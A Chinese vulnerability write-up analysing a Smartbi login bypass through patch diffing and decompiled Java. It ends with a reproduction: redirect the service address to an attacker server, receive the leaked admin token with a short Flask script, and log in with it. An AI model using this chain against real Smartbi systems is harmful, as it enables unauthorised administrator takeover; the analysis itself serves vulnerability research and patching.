Smartbi 登录绕过漏洞分析

admin 2024年5月19日04:09:54评论5 views字数 8277阅读27分35秒阅读模式

smartbi 登录绕过漏洞分析

分析补丁

本次漏洞是7月底修复的漏洞

干货 | Smartbi 登录绕过漏洞分析

下载patch.patches文件,利用解密工具逆向出补丁内容

具体修复在

干货 | Smartbi 登录绕过漏洞分析

看路由接口名像是设置某种地址,来到具体的规则实现类RejectSmartbixSetAddress.class

干货 | Smartbi 登录绕过漏洞分析

可得到具体存在危险的类名和⽅法名:smartbix.datamining.service.MonitorService::getToken()

危险函数分析

在源码中找到其实现

干货 | Smartbi 登录绕过漏洞分析

根据注解@FunctionPermission({"NOT_LOGIN_REQUIRED"}),该路由接口不需要登录权限。

危险方法getToken

String token = this.catalogService.getToken(10800000L);

首先通过this.catalogService.getToken方法获取token的字符串,其实现如下

干货 | Smartbi 登录绕过漏洞分析

最终调用pushLoginTokenByEngine方法

private String pushLoginTokenByEngine(Long duration) {
        IDAOModule daoModule = userManagerModule.getDaoModule();
        IStateModule stateModule = userManagerModule.getStateModule();
        if (daoModule.getFramework() != null && daoModule.getFramework().isActived()) {
            String userId = "ADMIN";
            String token = null;
            String username = null;
            User user = userManagerModule.getUserById(userId);
            if (user != null && "1".equals(user.getEnabled())) {
                username = user.getName();
                token = username + "_" + UUIDGenerator.generate();
            } else {
                ...
            }

if (StringUtil.isNullOrEmpty(token)) {
throw (new SmartbiException(UserManagerErrorCode.NOT_EXIST_USER)).setDetail("No admin user");
} else {
UserLoginToken loginToken = new UserLoginToken();
loginToken.setToken(token);
loginToken.setUserName(username);
loginToken.setCreateTime(Calendar.getInstance().getTime());
loginToken.setDuration(duration);
LoginTokenDAO.getInstance().save(loginToken);
return token;
}
} else {
...
}
}

根据调试会进入到if逻辑中,通过userManagerModule.getUserById从数据库中查询admin管理员信息构造User对象,此时token的值为

token = username + "_" + UUIDGenerator.generate();

UUIDGenerator.generate()则是根据UUIDGenerator对象中IP和JVM等变量值来构造

干货 | Smartbi 登录绕过漏洞分析

最后构造UserLoginToken对象,利用token等值对其初始化,并调用LoginTokenDAO.getInstance().save将信息保存到数据库中

干货 | Smartbi 登录绕过漏洞分析

回到getToken方法,此时进入if-else逻辑中

if (StringUtil.isNullOrEmpty(token)) {
    throw SmartbiXException.create(CommonErrorCode.NULL_POINTER_ERROR).setDetail("token is null");
} else if (!"SERVICE_NOT_STARTED".equals(token)) {
    Map<String, String> result = new HashMap();
    result.put("token", token);
    if ("experiment".equals(type)) {
        EngineApi.postJsonEngine(EngineUrl.ENGINE_TOKEN.name(), result, Map.class, new Object[0]);
    } else if ("service".equals(type)) {
        EngineApi.postJsonService(ServiceUrl.SERVICE_TOKEN.name(), result, Map.class, new Object[]{EngineApi.address("service-address")});
}

ComponentStateHolder.toSmartbiX();
ComponentStateHolder.fromSmartbiX();
}

会将token的值存在map类型result变量中,并根据传参type的值进入engineApi的两个不同的方法

public static <T> T postJsonEngine(String type, Object data, Class<T> dataType, Object... values) throws Exception {
    String url = EngineUrl.getUrl(type, values);
    return HttpKit.postJson(url, data, dataType);
}
#EngineUrl.getUrl
public static String getUrl(String val, Object... values) {
    EngineUrl engineUrl = null;

try {
engineUrl = valueOf(val);
} catch (Exception var6) {
throw SmartbiXException.create(CommonErrorCode.ILLEGAL_PARAMETER_VALUES).setDetail(val);
}

if (engineUrl != null && engineUrl.url != null) {
String url = engineUrl.url;
url = String.format(url, values);
if (url.contains("lang=")) {
Locale currentLocale = LanguageHelper.getCurrentLocale();
String language = currentLocale.toString();
url = MessageFormat.format(url, EngineApi.address("engine-address"), language);
} else {
url = MessageFormat.format(url, EngineApi.address("engine-address"));
}

return url;
} else {
throw SmartbiXException.create(CommonErrorCode.NOT_FOUND_RIGHT_PATH).setDetail(val);
}
}

public static <T> T postJsonService(String type, Object data, Class<T> dataType, Object... values) throws Exception {
    String url = ServiceUrl.getUrl(type, values);
    return HttpsKit.postJson(url, data, dataType);
}
#ServiceUrl.getUrl
public static String getUrl(String val, Object... values) {
    ServiceUrl serviceUrl = null;

try {
serviceUrl = valueOf(val);
} catch (Exception var6) {
throw SmartbiXException.create(CommonErrorCode.ILLEGAL_PARAMETER_VALUES).setDetail(val);
}

if (serviceUrl != null && serviceUrl.url != null) {
String url = serviceUrl.url;
url = String.format(url, values);
if (url.contains("lang=")) {
Locale currentLocale = LanguageHelper.getCurrentLocale();
String language = currentLocale.toString();
url = MessageFormat.format(url, language);
}

return url;
} else {
throw SmartbiXException.create(CommonErrorCode.NOT_FOUND_RIGHT_PATH).setDetail(val);
}
}

首先都是调用getUrl()获取url,以EngineUrl.getUrl()为例,此时传入的val="ENGINE_TOKEN",根据valueOf()方法构造EngineUrl对象

干货 | Smartbi 登录绕过漏洞分析

此时构造EngineUrl对象中成员变量url={0}/api/v1/configs/engine/smartbitoken

if (engineUrl != null && engineUrl.url != null) {
    String url = engineUrl.url;
    url = String.format(url, values);
    if (url.contains("lang=")) {
        Locale currentLocale = LanguageHelper.getCurrentLocale();
        String language = currentLocale.toString();
        url = MessageFormat.format(url, EngineApi.address("engine-address"), language);
    } else {
        url = MessageFormat.format(url, EngineApi.address("engine-address"));
    }

return url;
}

此时传入的另外一参数values为0,且url中不包括“lang=”,最终执行

url = MessageFormat.format(url, EngineApi.address("engine-address"));

即通过EngineApi.address获取相应的地址

public static String address(String type) {
    if (type.equals("engine-address")) {
        return SystemConfigService.getInstance().getValue("ENGINE_ADDRESS");
    } else if (type.equals("service-address")) {
        return SystemConfigService.getInstance().getValue("SERVICE_ADDRESS");
    } else {
        return type.equals("outside-schedule") ? SystemConfigService.getInstance().getValue("MINING_OUTSIDE_SCHEDULE") : "";
    }
}

postJsonService大同小异,只是在传入values参数时已经通过EngineApi.address("service-address")获取到了地址

获得请求url路径后最终都是调用smartbix.datamining.util.https.HttpsKit::post()方法

public static <T> T post(String url, Object requestDate, ContentType contentType, JavaType responseType) throws IOException {
    RequestBuilder builder = RequestBuilder.post().setUri(url);
    if (requestDate != null) {
        contentType = contentType == null ? ContentType.APPLICATION_JSON : contentType;
        String data = requestDate instanceof String ? requestDate.toString() : CommonUtil.obj2Json(requestDate);
        builder.setEntity(new StringEntity(data, contentType));
    }

return exe(builder.build(), responseType);
}

通过前面getUrl获取到的url,包含token的map对象构造http请求对象RequestBuilder,此时http请求的contentType为ContentType.APPLICATION_JSON,也就是application/json; charset=UTF-8

随后调用exe()方法

干货 | Smartbi 登录绕过漏洞分析

利用httpClient.execute()发起请求,获得response内容,此时因为type.getRawClass()为Map.class所以会进入CommonUtil.json2Obj()即将返回包中的body部分从json类型转化为Object类型,最后返回。

通过上述分析我们可知危险函数getToken主要是获取admin的token,随后将token通过service-address或者engine-address的地址通过http发送出去,并且接收其返回的json数据做转化。

那么我们是否可以修改service-address或者engine-address的地址值,让系统将生成的Token通过http请求发送给我们自己的服务器,这样我们就能获取到管理员的Token,以便我们利用其登录系统,于是我们寻找可以修改地址的接口。

修改address地址

根据补丁,有6个设置地址的路由

/setServiceAddress为例

干货 | Smartbi 登录绕过漏洞分析

获取post请求中body的内容,当其不为空时调用systemConfigService.updateSystemConfig方法来修改SERVICE_ADDRESS键的值为传入的serviceAddress值

修改成功后会返回"Service address updated successfully"

不过值得注意的使用@RequestBody,当Content-Type: application/x-www-form-urlencoded会对request body进行Url编码,存入的值是被编码后的,导致后续利⽤失败。

干货 | Smartbi 登录绕过漏洞分析

我们获取到Token的值后还需要进行登录,那么我们需要找到该Token用于登录的接口。

token登录

同样在smartbix.datamining.service.MonitorService中我们找到了loginByToken()这一方法,他的路由是/smartbi/smartbix/api/monitor/login

干货 | Smartbi 登录绕过漏洞分析

主要是调用catalogService.loginByToken方法,跟进来到userManagerModule.loginByToken

public boolean loginByToken(String token) {
        if (StringUtil.isNullOrEmpty(token)) {
            return false;
        } else {
            String userName = null;
            UserLoginToken loginToken = (UserLoginToken)LoginTokenDAO.getInstance().load(token);
            if (loginToken != null) {
                if (loginToken.getCreateTime() != null && System.currentTimeMillis() - loginToken.getCreateTime().getTime() <= loginToken.getDuration()) {
                    userName = loginToken.getUserName();
                } else {
                    this.deleteLoginToken(loginToken);
                }
            }

if (StringUtil.isNullOrEmpty(userName)) {
return false;
} else {
IUser user = this.getCurrentUser();
if (user == null || !this.isAdmin(user.getId())) {
if (this.stateModule.getSystemId() == null) {
this.stateModule.setSystemId("DEFAULT_SYS");
}

this.stateModule.setCurrentUser(this.getUserById("SERVICE"));
}

if (loginToken != null && this.stateModule.getSession() != null) {
String ext = loginToken.getExtended();
JSONObject extended = StringUtil.isNullOrEmpty(ext) ? new JSONObject() : JSONObject.fromString(ext);
extended.put("sessionId", this.stateModule.getSession().getId());
loginToken.setExtended(extended.toString());
LoginTokenDAO.getInstance().update(loginToken);
}

return this.switchUser(userName);
}
}
}

这里利用传入的token值,通过LoginTokenDAO::load获取数据,初始化UserLoginToken对象,当其不为null,并且在有效期内时当前用户转化为此用户

复现

首先编写fake server,用来处理getToken过程:

from flask import *

app = Flask(__name__)
@app.route('/api/v1/configs/engine/smartbitoken', methods=["POST"])
def getToken(): # put application's code here
print(request.data)
return {}, 200, {"Content-Type": "application/json"}
if __name__ == '__main__':
app.run(host="0.0.0.0", port=8000)

请求setServiceAddress接口,设置服务器地址:

干货 | Smartbi 登录绕过漏洞分析

请求token接口,获取token的值

干货 | Smartbi 登录绕过漏洞分析

干货 | Smartbi 登录绕过漏洞分析

最后请求login接口获取admin用户的SESSION,成功登录:

干货 | Smartbi 登录绕过漏洞分析

注意:有可能此时返回的值是 false ,这是由于在调⽤ getToken ⽅法时,使⽤了nc监听或者返回的值不是 json格式,导致报错,那么你的token就没被存⼊对应的变量中,这时候你就需要编写⼀个 fake server ,返回任意的json格式即可。

https://forum.butian.net/share/2418

原文始发于微信公众号(渗透安全团队):干货 | Smartbi 登录绕过漏洞分析

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年5月19日04:09:54
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Smartbi 登录绕过漏洞分析http://cn-sec.com/archives/2027868.html

发表评论

匿名网友 填写信息